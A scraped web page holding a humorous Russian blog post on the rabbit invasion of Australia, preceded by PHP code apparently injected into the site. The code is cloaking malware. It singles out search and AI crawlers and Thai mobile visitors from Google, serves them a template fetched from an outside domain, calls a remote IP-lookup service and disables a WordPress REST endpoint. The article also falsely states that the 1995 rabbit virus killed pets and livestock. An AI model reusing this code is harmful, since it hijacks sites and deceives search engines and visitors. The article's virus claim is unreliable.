$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); История одного геноцида. Часть 2 — Вечный путь к совершенству

История одного геноцида. Часть 2

Эта война идёт до сих пор, и в ней пришлось построить заборы с проволокой, задействовать армию военных для патрулирования, и даже применить… биологическое оружие.

А началось-то всё с того, в 1859 году землевладелец Том Остин привёз из Европы и выпустил в Австралии 24 кролика. Остин был заядлым охотником и решил, что кролики станут отличным источником мяса и на них можно будет с удовольствием охотиться в дикой природе. Идея была хорошая: кролики быстро размножаются, имеют вкусное диетическое мясо, хороший мех, не особо привередливы.

Первые проблемы начались уже через несколько лет — численность кроликов настолько сильно выросла, что их стали массово встречать уже за сотню километров от места первоначального выпуска. Поскольку в Австралии зимы не холодные, то кролики стали плодиться круглый год. Хороший климат, обилие разнообразной еды и отсутствие естественных хищников стали прекрасными условиями для взрывного роста популяции. Никто не учел тот факт, что кролики размножаются в геометрической прогрессии: одна крольчиха может произвести до 40 крольчат в год! К середине 20 века популяция кроликов в Австралии достигла 50 000 000 особей. На одного жителя Австралии приходилось по 75-80 кроликов.

Они сожрали молодые побеги деревьев, и в результате в Австралии погибли целые массивы лесов, и исчезли многие виды животных, которые жили в этих лесах. У фермеров стали пачками сохнуть фруктовые сады, ибо кролики добрались и туда. Кроликов истребляли нещадно, отстреливали по 2 000 000 в год, но их не становилось меньше. Творилось страшное дело. Их объявили врагами домашнего скота, т.к. они выедали пастбища, и домашним животным не хватало корма. Там, где обитали кролики, до 1900 года из-за голода погибли несколько видов кенгуру, серьезно пострадали другие мелкие сумчатые животные.

Борьба с кроликами не приносила ожидаемого результата и принесла не мало бед для Австралийского растительного и животного мира. Сначала решили завезти естественных врагов кроликов – лисиц, хорьков и т.д. Но эта идея потерпела провал: эти животные стали также быстро размножаться, но питаться при этом они предпочитали не быстроногими кроликами, а местными сумчатыми животными и птицами, которые были не так быстры и более беззащитны перед хищниками. При новой попытке обратились к традиционным методам – ядохимикаты, отстрел, взрывание кроличьих нор. На Западе Австралии к 1907 году построили огромный проволочный забор 3 256 километров протяжённостью — «Забор от кроликов №1». Сначала столбы делали из дерева, но кролики заключили срочный союз с термитами, и те съели эвкалипт. Пришлось делать столбы из железа. Сначала забор патрулировали на верблюдах. После появления автомашин, верблюдов за ненадобностью выпустили на волю, они расплодились, стали уничтожать пастбища, и в Австралии появилась новая проблема. Кролики же тем временем не дремали и в ответ провозгласили джихад против правительства Австралии, организовав террористические организации по прорыванию тоннелей под забором, минуя проволоку. Забор постоянно патрулировали на машинах, кроличьи подкопы засыпали, кроликов отстреливали, но они не сдавались, и война казалась будет вечной.

Прошло еще несколько десятилетий, прежде чем наконец один врач-биолог не привез из Латинской Америки блох и комаров, зараженных вирусом миксоматоза, который вызывает опухоли и смерть кроликов. И вот среди нежных грызунов начался ужасный мор: умирал 99,8% заразившихся кроликов. Фермеры потирали руки. В короткие сроки популяция кроликов сократилась в 6 раз, но тем не менее недостаточно для того, чтобы остановить нашествие кроликов. Время шло,
вирус постепенно мутировал. Ушастые террористы к нему приспособились, перестали дохнуть, и, …, количество кроликов в Австралии стало приближаться к 20 миллионам особей. Это война без конца, поняли фермеры. В качестве жеста отчаяния в 1995 году врачи выпустили на волю новый кальцивирус, вызвавший геморрагическую болезнь у кроликов Австралии. Однако, группа ушастых боевиков сбежали из карантина, и заразила кучу домашних животных. Домашние хозяйства Австралии пострадали: сдохли как домашние питомцы, кошки, собаки, так и домашний скот: овцы и даже верблюды. Фермерам пришлось принимать срочные меры по вакцинации животных, поскольку эффективность этого была не очень высокая. Пришлось отказываться от распространения и этого вируса. Кролики опять победили.

Кроличья проблема в Австралии явилась классическим примером необдуманного вмешательства человека в природу, уникальную экологическую систему и его грандиозных последствий. Обыкновенный европейский к